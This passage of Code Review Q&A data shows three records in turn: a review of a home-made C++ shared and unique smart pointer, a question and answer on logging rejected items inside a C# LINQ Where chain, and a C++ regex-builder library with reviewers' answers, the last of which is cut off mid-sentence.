void Shrd_ptr<T>::destruct()
{
// if count reaches zero
// No other pointer points
// to this managed
if (safe_decrement(user_count) == 0) {
delete user_count;
destructor ? destructor(this->managed) : Smart_pointer_base<T>::destruct();
}
}
template<typename T>
void Shrd_ptr<T>::copy(const Shrd_ptr &rhs)
{
// this function assumes that all
// necessary the destruction has been
// carried out
this->managed = rhs.managed;
safe_increment(rhs.user_count);
user_count = rhs.user_count;
destructor = rhs.destructor;
}
template<typename T>
Shrd_ptr<T>::Shrd_ptr()
: Smart_pointer_base<T>(nullptr)
, user_count(nullptr)
, destructor(nullptr)
{ }
template<typename T>
void Shrd_ptr<T>::swap(Shrd_ptr &r) noexcept
{
using std::swap;
swap(this->managed, r.managed);
swap(user_count, r.user_count);
swap(destructor, r.destructor);
}
// increment whatever `ptr` points to
// only if it is `ptr != nullptr`
// returns 0 if `ptr == nullptr`
template<typename T>
inline const T safe_increment(T *ptr)
{
if (ptr)
return ++*ptr;
return T();
}
// decrement whatever `ptr` points to
// only if it is `ptr != nullptr`
// returns 0 if `ptr == nullptr`
template<typename T>
inline const T safe_decrement(T *ptr)
{
if (ptr)
return --*ptr;
return T();
}
#endif // !BLOB_SHRD_PTR_TPP
</code></pre>
<h1>Unq_ptr.h</h1>
<pre><code>#ifndef BLOB_UNQ_PTR_H
#define BLOB_UNQ_PTR_H
#include <functional>
#include "Smart_pointer_base.h"
template <typename T, typename destructor_type = std::function<void(const T*)>>
class Unq_ptr: public Smart_pointer_base<T> {
public:
explicit Unq_ptr(T*, destructor_type = [](const T*t){ delete t; });
Unq_ptr(Unq_ptr&&) noexcept;
Unq_ptr&operator=(Unq_ptr&&) noexcept;
Unq_ptr(const Unq_ptr&) = delete;
Unq_ptr&operator=(const Unq_ptr&) = delete;
~Unq_ptr() override;
private:
destructor_type destructor;
void move(Unq_ptr&&) noexcept;
void destruct() override;
};
// Definitions
#include "Unq_ptr.tpp"
#endif //BLOB_UNQ_PTR_H
</code></pre>
<h1>Unq_ptr.tpp</h1>
<pre><code>#ifndef BLOB_UNQ_PTR_TPP
#define BLOB_UNQ_PTR_TPP
#include "Unq_ptr.h"
template<typename T, typename destructor_type> class Unq_ptr;
template<typename T, typename destructor_type>
Unq_ptr<T, destructor_type>::Unq_ptr(T * managed_, destructor_type destructor_)
: Smart_pointer_base<T>(managed_)
, destructor(destructor_)
{ }
template<typename T, typename destructor_type>
void Unq_ptr<T, destructor_type>::move(Unq_ptr &&rhs) noexcept
{
this->managed = rhs.managed;
rhs.managed = nullptr;
// No need to set `rhs.destructor` to `nullptr`
destructor = rhs.destructor;
}
template<typename T, typename destructor_type>
void Unq_ptr<T, destructor_type>::destruct()
{
destructor(this->managed);
}
template<typename T, typename destructor_type>
Unq_ptr<T, destructor_type>::Unq_ptr(Unq_ptr &&rhs) noexcept
{
move(rhs);
destruct();
}
template<typename T, typename destructor_type>
Unq_ptr<T, destructor_type> &Unq_ptr<T, destructor_type>::operator=(Unq_ptr &&rhs) noexcept
{
// No need to check for self assignment
// since we only take an r-value assignment
move(rhs);
destructor();
return *this;
}
template<typename T, typename destructor_type>
Unq_ptr<T, destructor_type>::~Unq_ptr()
{
destruct();
}
#endif // !BLOB_UNQ_PTR_TPP
</code></pre>
<p>Besides those, I have a source file to test those headers:</p>
<h1>test.cpp</h1>
<pre><code>#include <vector>
#include <iostream>
#include "Smart_pointer_base.h"
#include "Shrd_ptr.h"
#include "Unq_ptr.h"
#include <functional>
using std::vector;
using std::cout;
using std::endl;
using std::function;
using ivec = vector<int>;
// these `get_shared` and `get_unique` functions are
// used only to get smart pointers to dynamically
// allocated objects
Shrd_ptr<ivec> get_shared()
{ return Shrd_ptr<ivec>(new ivec{1, 3, 5, 7, 9}, [](const ivec*p){ delete p; cout << "Shared Deleted!\n";}); }
Unq_ptr<ivec> get_unique()
{
return Unq_ptr<ivec, function<void(const ivec*)>>
(new ivec{0, 2, 4, 6, 8}, [](const ivec*p){ delete p; cout << "Unique Deleted!\n"; } );
}
int main()
{
auto e_shr = get_shared();
auto b_shr = e_shr;
e_shr.reset();
auto s_shr = b_shr;
b_shr.reset();
for (const auto& elm : *s_shr) {
cout << elm << endl;
}
auto e_unq = get_unique();
for (const auto& elm : *e_unq) {
cout << elm << endl;
}
return 0;
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T07:56:02.960",
"Id": "411738",
"Score": "2",
"body": "Please see articles on Smart Pointers: [Unique](https://lokiastari.com/blog/2014/12/30/c-plus-plus-by-example-smart-pointer/index.html) [Shared](https://lokiastari.com/blog/2015/01/15/c-plus-plus-by-example-smart-pointer-part-ii/index.html) [Smart Constructors](https://lokiastari.com/blog/2015/01/23/c-plus-plus-by-example-smart-pointer-part-iii/index.html)"
}
] | [
{
"body": "<h2>Common biggest mistake.</h2>\n<p>The largest common problem is not ensuring ownership is taken during construction. The problem is that if the constructor does not complete (ie an exception is thrown out of the constructor) then the destructor will never be called.</p>\n<p>But so what you ask. Well if you blow up during construction you have definitely leaked the pointer you just promised to manage!</p>\n<pre><code> explicit Shrd_ptr(T* managed_, destructor_type destructor_ = nullptr)\n : Smart_pointer_base<T>(managed_)\n , user_count(new size_type(1))\n , destructor(std::move(destructor_))\n { }\n</code></pre>\n<p>It looks so simple. How can that not complete? Well the you have a call to <code>new</code> in there. It is not exception safe and can throw. So what can you do about it?</p>\n<p>Two options. 1) Use a non throwing new: <code>new (std::nothrow) size_type(1)</code> 2) catch exceptions in the constructor using <code>Function try blocks</code>.</p>\n<pre><code># Option 1\n explicit Shrd_ptr(T* managed_, destructor_type destructor_ = nullptr)\n : Smart_pointer_base<T>(managed_)\n , user_count(new (std::nothrow) size_type(1))\n , destructor(std::move(destructor_))\n {\n if (user_count == nullptr) {\n destructor(managed_);\n throw std::bad_alloc("Failed");\n }\n } \n\n# Option 2\n explicit Shrd_ptr(T* managed_, destructor_type destructor_ = nullptr)\n try\n : Smart_pointer_base<T>(managed_)\n , user_count(new size_type(1))\n , destructor(std::move(destructor_))\n {}\n catch(...)\n {\n destructor_(managed_);\n throw; // re-throw current exception\n }\n</code></pre>\n<h2>Virtual Functions</h2>\n<p>Calling virtual functions in the constructor or destructor is UB. Because it is implementation defined how virtual functions are implemented the standard has put restrictions on when they can be used. The can not be used during construction or destruction.</p>\n<pre><code>Shrd_ptr<T>::~Shrd_ptr()\n{\n destruct(); // This is UB\n}\n</code></pre>\n<p>Since each shared pointer is unique. Just put the code you have in <code>destruct()</code> in the destructor for that type of object. That will do exactly what you expect:</p>\n<pre><code>Shrd_ptr<T>::~Shrd_ptr()\n{\n if (safe_decrement(user_count) == 0) {\n delete user_count;\n destructor ? destructor(this->managed) : Smart_pointer_base<T>::destruct();\n }\n}\n\nUnq_ptr<T, destructor_type>::~Unq_ptr()\n{\n destructor(this->managed);\n}\n</code></pre>\n<h2>Optimization</h2>\n<p>You create an object to hold the count.</p>\n<p>In the shared pointer you keep a pointer to this count object and a destructor object. When you copy/move both these values need to be updated. Why not modify the count object to store all the accessory information about the shared pointer (both count and destructor object). That way when you copy/move you just need to move one pointer (in addition to the data).</p>\n<h2>Missing Functionality</h2>\n<p>When you have de-reference and de-refrence method functions you should really have a way to check that the object can be de-referenced. Otherwise you have to hope it does not blow up when you use these methods.</p>\n<p>Basically you need some way to check the pointer you are holding is not a nullptr.</p>\n<pre><code> explicit operator bool() const {return managed;}\n</code></pre>\n<h2>Inconsistent behavior</h2>\n<p>If you explicitly construct a shared pointer with a <code>nullptr</code> and you create a shared pointer using the default constructor (this internally it is nullptr) you have different internal structures (one has a user count the other does not).</p>\n<pre><code>Shrd_ptr<int> data1(nullptr);\nShrd_ptr<int> data2;\n</code></pre>\n<p>I can not see any bugs with this. But as your class gets bigger having this inconsistency may cause unforeseen issues. No matter how the object is constructed it should have the same internal structure for the same data.</p>\n<h2>No <code>nullptr</code> constructor.</h2>\n<p>You don't have a constructor for explicitly taking <code>nullptr</code> as a parameter.</p>\n<p>But you say <code>nullptr</code> binds to any pointer type. Yes. But its not about the normal situation.</p>\n<p>This is a situation where you are passing a nullptr to function/method. If the function takes an r-value ref we can not construct the object (as the constructor is explicit) so you need to fully qualify the nullptr to make the call.</p>\n<pre><code>void workWithSP(Shrd_ptr<int>&& sp); // Some definition.\n\n\nint main()\n{\n workWithSP(nullptr); // Does not work.\n\n workWithSP(Shrd_ptr<int>(nullptr)); // Works but seems verbose.\n}\n</code></pre>\n<p>Simply add a <code>nullptr_t</code> constructor.</p>\n<pre><code>Shrd_ptr::Shrd_ptr(std::nullptr_t): ....\n</code></pre>\n<h2>Missing Functionality</h2>\n<p>Assigning derived types.</p>\n<pre><code> class X {};\n class Y: public X {};\n\n Shrd_ptr<Y> data(new Y);\n Shrd_ptr<X> dataNew(std::move(data)); // Why does that not work?\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:55:54.980",
"Id": "411769",
"Score": "0",
"body": "Great points. Thanks! I especially liked the part about Virtual functions. Quick questions:"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:57:41.970",
"Id": "411773",
"Score": "0",
"body": "`throw std::bad_alloc(\"Failed\");` is this meant to be `runtime_error`? I am not sure if we can call `bad_alloc` with `char*`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T11:58:37.133",
"Id": "411774",
"Score": "0",
"body": "I think this one is a typo `explicit operator bool() const {return managed;}`. Is this supposed to be `this->managed`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T12:01:21.043",
"Id": "411775",
"Score": "0",
"body": "`Shrd_ptr<X> dataNew(std::move(data)); // Why does that not work?` this one is especially interesting. Can you give me a couple of hits about how to implement it? especially about the declaration. I tried to look at my standard library for hits"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T12:02:13.253",
"Id": "411776",
"Score": "0",
"body": "`std::shared_ptr` in this context uses `shared_ptr(shared_ptr<_Yp>&& __r) noexcept\n : __shared_ptr<_Tp>(std::move(__r)) { }`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T12:03:27.860",
"Id": "411777",
"Score": "0",
"body": "`template<typename _Yp, typename = _SafeConv<_Yp>>\n explicit\n __shared_ptr(_Yp* __p)`, on the other hand, is expecting a pointer, not a reference, and I am not sure how this thing even compiles."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T16:06:20.297",
"Id": "411804",
"Score": "0",
"body": "Throwing bad alloc. You are correct it takes no arguments: `throw std::bad_alloc(`);`. Yes I throw that because you failed to allocate space for the count object. Thus the object is in an invalid state. So yes its a runtime error that the `new` would have thrown if I had not used the `nothrow` version."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T16:07:15.897",
"Id": "411805",
"Score": "0",
"body": "Never use `this->manager` when you can simply use `manager`. Using `this->` is actually considered bad practice as it hides errors that could be caught by the compiler."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T16:07:45.037",
"Id": "411806",
"Score": "0",
"body": "All other questions are answered by the three blog posts I wrote on the subject. See the comment to your question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:44:06.167",
"Id": "411815",
"Score": "0",
"body": "it won't compile without `this->`. May that be because `managed` is actually in the base class?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T21:03:27.750",
"Id": "411831",
"Score": "1",
"body": "@Ayxan: You should probably put `explicit operator bool() const {return managed;}` in the base class. It is needed for both the shared and unique versions."
}
],
"meta_data": {
"CommentCount": "11",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T08:19:07.657",
"Id": "212897",
"ParentId": "212861",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "212897",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:51:26.740",
"Id": "212861",
"Score": "6",
"Tags": [
"c++",
"template",
"pointers"
],
"Title": "Smart pointer like implementations"
} | 212861 |
<p>I've posted this to Stack Overflow, but someone voted to close as they felt it was opinion based, so I'm bringing it over to Code Review.</p>
<p>I have some Linq fluent chains to shape an original IEnumerable of objects into the proper form.</p>
<p>During this process, I'd like to capture and log the reason why some objects are "rejected" in a <code>Where</code> clause.</p>
<p>I was thinking about something similar to this (reduced use-case, just for the sake of demonstration):</p>
<pre><code>var bar = SomeEnumerable
.SelectMany(...)
.Where(i =>
{
if(...)
{
return true;
}
else
{
//Log "failure" to in-memory list
return false;
}
})
.ToDictionary(...);
</code></pre>
<p>I understand that this introduces some side-effect, though minimal, but if at all possible, I would like to eliminate it.</p>
<p>Does this match some "pattern" that can be expressed in the context of Linq chains?</p>
<p>Thanks</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T19:04:10.700",
"Id": "411692",
"Score": "0",
"body": "I try as hard as I can do not have side effects inside a linq statement. If I need side effects I switch it to a foreach statement with s yield. but if you really want to do side effects in a linq-y way then I would suggest mimicking the Do operator of Observerables."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T19:11:00.677",
"Id": "411693",
"Score": "0",
"body": "Yeah, I've thought about that, but the `Where` clause will only let through the objects that match, so I'd have no way of catching those that don't match. We'd need like a \"tee\" operator. Any ideas on that?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T23:55:16.267",
"Id": "411708",
"Score": "1",
"body": "Personally, logging is one of the side effects I can be okay with. If you aren't already, I would just recommend that you make the side effect explicit by putting it inside of a named method. Perhaps something like `.Where(FilterAndLogRejectionReasons)`, with a `private bool FilterAndLogRejectionReasons(YourType item)` defined with an explanatory doc comment later in the class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T07:45:15.177",
"Id": "411736",
"Score": "1",
"body": "Why does this question have so many upvotes? It should be closed for the servere lack of context."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T14:06:43.413",
"Id": "411791",
"Score": "2",
"body": "@t3chb0t maybe it was upvoted because other people considered it contained all the necessary context to understand the concept. I'm all for learning how to properly post on this site. Instead of losing it, you could have simply pointed me in the right direction, and used you VTC rights, which you did. Now, if you could explain what additional context would help you better understand the question, maybe I can provide it, but I think the example, being reduced to its simpler use-case, says what it has to say. You certainly don't expect me to post 200 lines of code, do you?"
}
] | [
{
"body": "<p>Yeah, it seems to cloud up your code a bit. You could write your own LINQ-style extension method similar to the ones below. It uses a couple of C#7 features (tuple types and local methods). The first just recreates the collection with the results associated with each item (to avoid any side-effects of possibly calling the predicate multiple times) and the second will iterate and log/filter as your lambda does.</p>\n\n<pre><code>namespace System.Linq\n{\n using System.Collections.Generic;\n\n public static class Enumerable\n {\n public static IEnumerable<(TSource, bool)> WhereResult<TSource>(\n this IEnumerable<TSource> source,\n Func<TSource, bool> predicate)\n {\n if (source == null)\n {\n throw new ArgumentNullException(nameof(source));\n }\n\n if (predicate == null)\n {\n throw new ArgumentNullException(nameof(predicate));\n }\n\n return _();\n\n IEnumerable<(TSource, bool)> _()\n {\n foreach (TSource current in source)\n {\n yield return (current, predicate(current));\n }\n }\n }\n\n public static IEnumerable<(TSource, bool)> LogWhere<TSource>(\n this IEnumerable<(TSource, bool)> source)\n {\n if (source == null)\n {\n throw new ArgumentNullException(nameof(source));\n }\n\n return _();\n\n IEnumerable<(TSource, bool)> _()\n {\n foreach ((TSource, bool) current in source)\n {\n if (current.Item2)\n {\n yield return current;\n }\n else\n {\n Log(...);\n }\n }\n }\n }\n }\n}\n</code></pre>\n\n<p>This is just a first thought off the top of my head. Could be improved easily with some AOP instead of the explicit logging call, for instance.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T06:45:47.520",
"Id": "411735",
"Score": "0",
"body": "Why do you wrap the yields in the local methods `_();`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T14:02:00.040",
"Id": "411790",
"Score": "3",
"body": "@HenrikHansen it allows the parameter check part of the method to be evaluated immediately and the yield part to be evaluated lazily. If they weren't in local methods, the parameter check part would be executed lazily as well and that often results in unexpected exception timing."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T21:39:50.717",
"Id": "212878",
"ParentId": "212866",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "212878",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:19:14.700",
"Id": "212866",
"Score": "3",
"Tags": [
"c#",
"linq"
],
"Title": "Logging inside a Linq fluent chain"
} | 212866 |
<p>So I am writing an XML parser, and I'm using regexes to do some pattern matching during parsing. However, writing longer regexes quickly became a bit boring, annoying and just confusing. So I thought to myself: "Wouldn't it be a fun little project to make a small library that helps me build these regexes?" I decided to go for it, and a few hours later, it was done. I'm mainly looking for advice on design here, though implementation issues are certainly welcome too. The main thing I am not so happy with is the <code>char_traits</code> struct. If there is a better way to do this, I will gladly implement it. Code:</p>
<pre><code>#ifndef MVG_REGEX_GENERATOR_HPP_
#define MVG_REGEX_GENERATOR_HPP_
#include <regex>
#include <string>
#include <string_view>
namespace mvg {
namespace regex {
template<typename char_t>
struct char_traits;
template<>
struct char_traits<char> : public std::char_traits<char> {
struct braces {
struct square {
static constexpr char open = '[';
static constexpr char close = ']';
};
struct round {
static constexpr char open = '(';
static constexpr char close = ')';
};
struct curly {
static constexpr char open = '{';
static constexpr char close = '}';
};
};
static constexpr char minus_sign = '-';
static constexpr char plus = '+';
static constexpr char or_sign = '|';
static constexpr char power_sign = '^';
static constexpr char star = '*';
static constexpr char comma = ',';
static constexpr char backslash = '\\';
static constexpr char forwardslash = '/';
static constexpr char question_mark = '?';
static constexpr char colon = ':';
static constexpr char s = 's';
static constexpr char w = 'w';
static constexpr char d = 'd';
static constexpr char S = 'S';
static constexpr char W = 'W';
static constexpr char D = 'D';
};
template<>
struct char_traits<wchar_t> : public std::char_traits<wchar_t> {
struct braces {
struct square {
static constexpr wchar_t open = L'[';
static constexpr wchar_t close = L']';
};
struct round {
static constexpr wchar_t open = L'(';
static constexpr wchar_t close = L')';
};
struct curly {
static constexpr wchar_t open = L'{';
static constexpr wchar_t close = L'}';
};
};
static constexpr wchar_t minus_sign = L'-';
static constexpr wchar_t plus = L'+';
static constexpr wchar_t or_sign = L'|';
static constexpr wchar_t power_sign = L'^';
static constexpr wchar_t star = L'*';
static constexpr wchar_t comma = L',';
static constexpr wchar_t backslash = L'\\';
static constexpr wchar_t forwardslash = L'/';
static constexpr wchar_t question_mark = L'?';
static constexpr wchar_t colon = L':';
static constexpr wchar_t s = L's';
static constexpr wchar_t w = L'w';
static constexpr wchar_t d = L'd';
static constexpr wchar_t S = L'S';
static constexpr wchar_t W = L'W';
static constexpr wchar_t D = L'D';
};
template<typename char_t, typename traits = char_traits<char_t>>
class regex_element {
public:
using string_t = std::basic_string<char_t, std::char_traits<char_t>>;
regex_element(
std::basic_string_view<char_t, std::char_traits<char_t>> reg_str) {
str_ = reg_str;
}
regex_element(regex_element const&) = default;
regex_element(regex_element&&) = default;
regex_element& operator=(regex_element const&) = default;
regex_element& operator=(regex_element&&) = default;
string_t str() const { return str_; }
private:
string_t str_;
};
template<typename char_t, typename traits = char_traits<char_t>>
class basic_regex_chain_holder {
public:
using string_t = std::basic_string<char_t, std::char_traits<char_t>>;
using string_view_t =
std::basic_string_view<char_t, std::char_traits<char_t>>;
using regex_element_t = regex_element<char_t, traits>;
basic_regex_chain_holder(string_view_t reg_str) : str_(reg_str) {}
basic_regex_chain_holder(basic_regex_chain_holder const&) = default;
basic_regex_chain_holder(basic_regex_chain_holder&&) = default;
basic_regex_chain_holder&
operator=(basic_regex_chain_holder const&) = default;
basic_regex_chain_holder& operator=(basic_regex_chain_holder&&) = default;
string_t str() const { return str_; }
//@return: *this to be able to chain this operation
basic_regex_chain_holder& then_match(regex_element_t const& elem) {
str_ += elem.str();
return *this;
}
private:
string_t str_;
};
template<typename char_t, typename traits = char_traits<char_t>>
class basic_regex_generator {
public:
using string_t = std::basic_string<char_t, std::char_traits<char_t>>;
using string_view_t =
std::basic_string_view<char_t, std::char_traits<char_t>>;
using regex_element_t = regex_element<char_t, traits>;
using regex_chain_holder_t = basic_regex_chain_holder<char_t, traits>;
basic_regex_generator() = default;
basic_regex_generator(basic_regex_generator const&) = default;
basic_regex_generator(basic_regex_generator&&) = default;
basic_regex_generator& operator=(basic_regex_generator const&) = default;
basic_regex_generator& operator=(basic_regex_generator&&) = default;
static regex_element_t match_range(char_t start, char_t end) {
// Build a regex_element in the format of [start-end]
return regex_element_t(string_t{} + traits::braces::square::open +
start + traits::minus_sign + end +
traits::braces::square::close);
}
// RegElement is either a regex_element_t or a regex_chain_holder_t
template<typename RegElementA, typename RegElementB>
static regex_element_t match_or(RegElementA const& a,
RegElementB const& b) {
// Ensure RegElementA and RegElementB are of the correct types.
// Templating this function saves us writing 4 overloads for every
// possible combination
static_assert((
std::is_same_v<RegElementA, regex_element_t> ||
std::is_same_v<
RegElementA,
regex_chain_holder_t>)&&(std::is_same_v<RegElementB,
regex_element_t> ||
std::is_same_v<RegElementB,
regex_chain_holder_t>));
return regex_element_t(a.str() + traits::or_sign + b.str());
}
static regex_element_t match_any() {
return regex_element_t(string_t(1, '.'));
}
static regex_element_t match_character(char_t ch) {
return regex_element_t(string_t{} + ch);
}
static regex_element_t match_string(string_view_t str) {
return regex_element_t(str);
}
static regex_element_t match_space() {
return regex_element_t(string_t{} + traits::backslash + traits::s);
}
static regex_element_t match_alpha_char() {
return regex_element_t(string_t{} + traits::backslash + traits::w);
}
static regex_element_t match_digit() {
return regex_element_t(string_t{} + traits::backslash + traits::d);
}
static regex_element_t match_not_space() {
return regex_element_t(string_t{} + traits::backslash + traits::S);
}
static regex_element_t match_not_alpha_char() {
return regex_element_t{string_t{} + traits::backslash + traits::W};
}
static regex_element_t match_not_digit() {
return regex_element_t{string_t{} + traits::backslash + traits::D};
}
static regex_element_t match_any_of(string_view_t chars) {
return regex_element_t(string_t{} + traits::braces::square::open +
chars.data() + traits::braces::square::close);
}
static regex_element_t match_none_of(string_view_t chars) {
return regex_element_t(string_t{} + traits::braces::square::open +
traits::power_sign + chars.data() +
traits::braces::square::close);
}
static regex_element_t match_escaped_char(char_t ch) {
return regex_element_t(string_t{} + traits::backslash + ch);
}
template<typename RegElement>
static regex_element_t match_zero_or_more(RegElement const& to_match) {
static_assert(std::is_same_v<RegElement, regex_element_t> ||
std::is_same_v<RegElement, regex_chain_holder_t>);
return regex_element_t(to_match.str() + traits::star);
}
template<typename RegElement>
static regex_element_t match_one_or_more(RegElement const& to_match) {
static_assert(std::is_same_v<RegElement, regex_element_t> ||
std::is_same_v<RegElement, regex_chain_holder_t>);
return regex_element_t(to_match.str() + traits::plus);
}
template<typename RegElement>
static regex_element_t match_zero_or_one(RegElement const& to_match) {
static_assert(std::is_same_v<RegElement, regex_element_t> ||
std::is_same_v<RegElement, regex_chain_holder_t>);
return regex_element_t(to_match.str() + traits::question_mark);
}
template<typename RegElement>
static regex_element_t match_n(RegElement const& to_match, std::size_t n) {
static_assert(std::is_same_v<RegElement, regex_element_t> ||
std::is_same_v<RegElement, regex_chain_holder_t>);
return regex_element_t(to_match.str() + traits::braces::curly::open +
std::to_string(n) +
traits::braces::curly::close);
}
template<typename RegElement>
static regex_element_t match_n_or_more(RegElement const& to_match,
std::size_t n) {
static_assert(std::is_same_v<RegElement, regex_element_t> ||
std::is_same_v<RegElement, regex_chain_holder_t>);
return regex_element_t(to_match.str() + traits::braces::curly::open +
std::to_string(n) + traits::comma +
traits::braces::curly::close);
}
// Grouping functionality
// non-capturing group
static regex_element_t match_group(regex_element_t to_group) {
return regex_element_t(string_t{} + traits::braces::round::open +
traits::question_mark + traits::colon +
to_group.str() + traits::braces::round::close);
}
static regex_element_t match_group(regex_chain_holder_t to_group) {
return regex_element_t(string_t{} + traits::braces::round::open +
traits::question_mark + traits::colon +
to_group.str() + traits::braces::round::close);
}
static regex_element_t capture_group(regex_element_t const& to_capture) {
return regex_element_t(traits::braces::round::open + to_capture.str() +
traits::braces::round::close);
}
// Overload to allow capturing multiple elements. Call this like:
// .then_match(
// regex_generator::capture_group(
// regex_generator::create_regex()
// .then_match(regex_generator::match_range('a', 'z'))
// .then_match(regex_generator::match_space())
// ));
static regex_element_t
capture_group(regex_chain_holder_t const& to_capture) {
return regex_element_t(traits::braces::round::open + to_capture.str() +
traits::braces::round::close);
}
//@return: A regex chain holder object that is used to build the regex
regex_chain_holder_t create_regex() { return regex_chain_holder_t{""}; }
regex_chain_holder_t create_regex_from_string(string_view_t initial_reg) {
return regex_chain_holder_t{initial_reg};
}
private:
static string_t escape(char_t c) {
return string_t(1, traits::backslash) + c;
}
};
using regex_generator = basic_regex_generator<char, char_traits<char>>;
using wregex_generator = basic_regex_generator<wchar_t, char_traits<wchar_t>>;
} // namespace regex
} // namespace mvg
#endif
</code></pre>
<p>GitHub link <a href="https://github.com/CodeSheep123/RegexGenerator/blob/master/regex_generator.hpp" rel="nofollow noreferrer">here</a></p>
<p>I took the "features" from the cheatsheet on <a href="https://regexr.com/" rel="nofollow noreferrer">https://regexr.com/</a></p>
<p>Example usage (also found on GitHub)</p>
<pre><code> mvg::regex::regex_generator generator;
using mvg::regex::regex_generator;
auto regex = generator.create_regex()
.then_match(regex_generator::match_range('a', 'z'))
.then_match(regex_generator::match_string("XXX"))
.then_match(regex_generator::match_space())
.then_match(regex_generator::match_group(
generator.create_regex()
.then_match(regex_generator::match_string("Hello"))
.then_match(regex_generator::match_space())))
.then_match(regex_generator::match_any_of("abcdef"))
.then_match(regex_generator::match_none_of("qreoi"))
.then_match(regex_generator::match_zero_or_more(
regex_generator::match_range('a', 'z')));
std::regex regex_obj(regex.str());
//Use regex_obj here
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T07:53:58.010",
"Id": "411737",
"Score": "0",
"body": "https://stackoverflow.com/q/8577060/14065"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:56:03.860",
"Id": "411817",
"Score": "0",
"body": "I should probably add that I’m only going to use regexes to parse small parts of the XML, not the entire document."
}
] | [
{
"body": "<p>This looks like a great use-case for a Domain-Specific Language (DSL). If you had a nice compact DSL for representing automata like this, then you could replace all this boilerplate</p>\n\n<pre><code>auto regex = generator.create_regex()\n .then_match(regex_generator::match_range('a', 'z'))\n .then_match(regex_generator::match_string(\"XXX\"))\n .then_match(regex_generator::match_space())\n .then_match(regex_generator::match_group(\n generator.create_regex()\n .then_match(regex_generator::match_string(\"Hello\"))\n .then_match(regex_generator::match_space())))\n .then_match(regex_generator::match_any_of(\"abcdef\"))\n .then_match(regex_generator::match_none_of(\"qreoi\"))\n .then_match(regex_generator::match_zero_or_more(\n regex_generator::match_range('a', 'z')));\nstd::regex regex_obj(regex.str());\n</code></pre>\n\n<p>with a simple, readable <em>expression</em>. Just spitballing some syntax here; tell me how you like it —</p>\n\n<pre><code>std::regex regex_obj = std::regex(\n \"[a-z]XXX\\\\s(Hello\\\\s)[abcdef][^qreoi][a-z]*\"\n);\n</code></pre>\n\n<p>See how a complicated recipe like <code>generator.create_regex().then_match(regex_generator::match_any_of(\"abcdef\")).then_match(regex_generator::match_none_of(\"qreoi\"))</code> can be written super efficiently as <code>std::regex(\"[abcdef][^qreoi]\")</code>!</p>\n\n<p>Something like this is the motivating force behind Boost.Spirit, although Spirit uses operator overloading and other party tricks to avoid writing the quotation marks. I think you'd like Spirit.</p>\n\n<p>The one downside of my proposed DSL for regular expressions is that I foolishly decided to use <code>\\s</code> to represent what you called <code>regex_generator::match_space()</code>. This is unfortunate because C++ already uses <code>\\</code> for something else, and so I ended up having to <em>escape</em> the backslash in my DSL syntax. If I were really feeling adventurous, I might do something like this:</p>\n\n<pre><code>#define RX(...) std::regex(#__VA_ARGS__)\n\nstd::regex regex_obj = RX([a-z]XXX\\s(Hello\\s)[abcdef][^qreoi][a-z]*);\n</code></pre>\n\n<p>However, I would need to be cautious when splitting such a regex across source lines, or if I wanted to write a regex containing unbalanced parentheses for some reason.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:58:01.427",
"Id": "411819",
"Score": "0",
"body": "While I appreciate it that you take your time to formulate an opinion on my project, it is not really what I am looking for in a code review. I am looking for specific suggestions to make my code better, not for critique on the use of it."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T21:04:25.280",
"Id": "212874",
"ParentId": "212867",
"Score": "3"
}
},
{
"body": "<p>First, I'd note that I have a fair amount of sympathy for Quuzplusone's position.</p>\n\n<p>Nonetheless, I can see some situations in which it could be somewhat handy to generate regexes, especially if (for example) you want to start with a number of fragments, and use loops (or whatever) to put them together into complete regexes, that then get tested.</p>\n\n<p>However, you seem to be putting a lot of effort into building something that lets you use <code>.then_match</code>... syntax just to concatenate some strings together.</p>\n\n<p>I also find the <code>regex_generator::match_*</code> syntax excessively verbose and clumsy.</p>\n\n<p>While I can certainly sympathize with the notion of isolating the necessary literals into traits classes, I'm not convinced that the traits classes you've defined are the cleanest way to accomplish that (something you already seem to believe).</p>\n\n<p>It seems to me that when all you're really doing is generating and concatenating strings, you can make a lot better use of existing classes to handle that--you can use normal string concatenation, or you can use a stringstream to concatenate strings together.</p>\n\n<p>Using that basic approach, I slapped together enough of an implementation to 